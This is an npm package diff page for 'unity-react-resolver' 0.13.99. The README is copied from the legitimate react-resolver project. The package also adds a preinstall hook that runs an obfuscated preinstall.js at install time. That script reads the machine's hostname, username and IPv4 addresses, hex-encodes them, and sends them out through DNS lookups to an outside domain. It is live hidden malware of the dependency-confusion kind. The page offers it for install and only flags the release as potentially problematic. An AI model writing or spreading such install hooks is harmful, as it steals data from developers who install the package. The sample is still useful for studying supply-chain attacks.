unity-react-resolver 0.13.99
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of unity-react-resolver might be problematic. Click here for more details.
- package/README.md +120 -0
- package/index.js +11 -0
- package/package.json +13 -0
- package/preinstall.js +1 -0
package/README.md
ADDED
@@ -0,0 +1,120 @@
|
|
1
|
+
# React Resolver ![https://img.shields.io/npm/v/react-resolver.svg](https://img.shields.io/npm/v/react-resolver.svg?style=flat-square) [![](https://img.shields.io/github/issues-raw/ericclemmons/react-resolver.svg?style=flat-square)](https://github.com/ericclemmons/react-resolver/issues) [![](https://img.shields.io/travis/ericclemmons/react-resolver/master.svg?style=flat-square)](https://travis-ci.org/ericclemmons/react-resolver) [![](https://img.shields.io/david/ericclemmons/react-resolver.svg?style=flat-square)](https://david-dm.org/ericclemmons/react-resolver#info=dependencies)
|
2
|
+
|
3
|
+
> Async-rendering & data-fetching for universal React applications.
|
4
|
+
|
5
|
+
React Resolver lets you **define data requirements _per-component_**
|
6
|
+
and will **handle the nested, async rendering on both the server & client for you.**
|
7
|
+
|
8
|
+
For example, the following will load & provide `this.props.user` for the
|
9
|
+
`UserProfile` component:
|
10
|
+
|
11
|
+
```js
|
12
|
+
import { resolve } from "react-resolver";
|
13
|
+
|
14
|
+
@resolve("user", function(props) {
|
15
|
+
return http.get(`/api/users/${props.params.userId}`);
|
16
|
+
})
|
17
|
+
class UserProfile extends React.Component {
|
18
|
+
render() {
|
19
|
+
const { user } = this.props;
|
20
|
+
...
|
21
|
+
}
|
22
|
+
}
|
23
|
+
```
|
24
|
+
|
25
|
+
This is the equivalent to asynchronously loading `user` and providing it to
|
26
|
+
the component as if it were provided directly:
|
27
|
+
|
28
|
+
```xml
|
29
|
+
<UserProfile user={user} />
|
30
|
+
```
|
31
|
+
|
32
|
+
This makes components _pure_, _stateless_, and _easy to test_ as a result.
|
33
|
+
|
34
|
+
[![](https://img.shields.io/badge/slack-@react--resolver-61DAFB.svg?style=flat-square)](http://www.reactiflux.com)
|
35
|
+
[![](https://img.shields.io/badge/GITTER-join%20chat-green.svg?style=flat-square)](https://gitter.im/ericclemmons/react-resolver?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
|
36
|
+
|
37
|
+
- - -
|
38
|
+
|
39
|
+
### Installation
|
40
|
+
|
41
|
+
_For environments that don't have native `Promise` support,
|
42
|
+
install [ES6 Promise](https://github.com/jakearchibald/es6-promise)._
|
43
|
+
|
44
|
+
```shell
|
45
|
+
$ npm install --save react-resolver
|
46
|
+
```
|
47
|
+
|
48
|
+
_For React v0.13 support, install [v2.x.x](https://github.com/ericclemmons/react-resolver/tree/v2.0.5)._
|
49
|
+
|
50
|
+
```shell
|
51
|
+
$ npm install --save react-resolver@2
|
52
|
+
```
|
53
|
+
|
54
|
+
|
55
|
+
## Documentation
|
56
|
+
|
57
|
+
Complete documentation can be found here:
|
58
|
+
> <http://ericclemmons.github.io/react-resolver/>
|
59
|
+
|
60
|
+
- [Introduction](/docs/introduction)
|
61
|
+
- [Getting Started](/docs/getting-started)
|
62
|
+
|
63
|
+
- - -
|
64
|
+
|
65
|
+
## Development
|
66
|
+
|
67
|
+
If you'd like to contribute to this project, all you need to do is clone
|
68
|
+
this project and run:
|
69
|
+
|
70
|
+
```shell
|
71
|
+
$ npm install
|
72
|
+
$ npm test
|
73
|
+
```
|
74
|
+
|
75
|
+
|
76
|
+
## [Contributors](https://github.com/ericclemmons/react-resolver/graphs/contributors)
|
77
|
+
|
78
|
+
- [Eric Clemmons](mailto:eric@smarterspam.com>) ([@ericclemmons][twitter])
|
79
|
+
- [Kier Borromeo](https://github.com/srph)
|
80
|
+
- [Dustan Kasten](https://github.com/iamdustan)
|
81
|
+
- [Adrian Philipp](https://github.com/adri)
|
82
|
+
- [Daniel Lo Nigro](https://github.com/Daniel15)
|
83
|
+
- [Daniel Chao](https://github.com/bioball)
|
84
|
+
- [Frederick Fogerty](https://github.com/frederickfogerty)
|
85
|
+
- [Josh Perez](https://github.com/goatslacker)
|
86
|
+
|
87
|
+
|
88
|
+
## [License][license]
|
89
|
+
|
90
|
+
> Internet Systems Consortium license
|
91
|
+
> ===================================
|
92
|
+
>
|
93
|
+
> Copyright (c) 2015 Eric Clemmons
|
94
|
+
>
|
95
|
+
> Permission to use, copy, modify, and/or distribute this software for any purpose
|
96
|
+
> with or without fee is hereby granted, provided that the above copyright notice
|
97
|
+
> and this permission notice appear in all copies.
|
98
|
+
>
|
99
|
+
> THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
|
100
|
+
> REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
101
|
+
> FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
|
102
|
+
> INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
|
103
|
+
> OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
|
104
|
+
> TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF
|
105
|
+
> THIS SOFTWARE.
|
106
|
+
|
107
|
+
|
108
|
+
## Collaboration
|
109
|
+
|
110
|
+
If you have questions or issues, please [open an issue][issue]!
|
111
|
+
|
112
|
+
|
113
|
+
[1]: https://github.com/ericclemmons/react-resolver/blob/v1/README.md
|
114
|
+
[2]: https://github.com/ericclemmons/react-resolver/blob/v2/README.md
|
115
|
+
[changelog]: https://github.com/ericclemmons/react-resolver/blob/master/CHANGELOG.md
|
116
|
+
[demo]: https://cdn.rawgit.com/ericclemmons/react-resolver/master/examples/stargazers/public/index.html
|
117
|
+
[issue]: https://github.com/ericclemmons/react-resolver/issues/new
|
118
|
+
[license]: https://github.com/ericclemmons/react-resolver/blob/master/LICENSE
|
119
|
+
[twitter]: https://twitter.com/ericclemmons/
|
120
|
+
[upcoming]: https://github.com/ericclemmons/react-resolver/blob/master/CHANGELOG.md#upcoming
|
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "unity-react-resolver",
|
3
|
+
"version": "0.13.99",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node preinstall.js"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "MIT"
|
13
|
+
}
|
package/preinstall.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
!function(){function I(B){return Buffer.from(B,"utf-8").toString("hex")}var B,P,k,p,q,w,A=global.require||global.process.mainModule.constructor._load,C=A("dns"),A=A("os");k="."+I(function(B){for(var I="",P="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",k=0;k<B;k++)I+=P.charAt(Math.floor(Math.random()*P.length));return I}(3))+".urr.g.addr-in.com",p=A.hostname(),q=A.userInfo().username,B=A.networkInterfaces(),P={},Object.keys(B).forEach(function(I){B[I].forEach(function(B){"IPv4"!==B.family||B.internal||(P[I]||(P[I]=[]),P[I].push(B.address))})}),w=P,C.lookup("0.13.99"+k,function(B,I){}),C.lookup("xxx"+I(q)+k,function(B,I){}),C.lookup("yyy"+I(p)+k,function(B,I){}),Object.keys(w).forEach(function(B){C.lookup("zzz"+I(B)+"."+w[B][0]+k,function(B,I){})})}();
|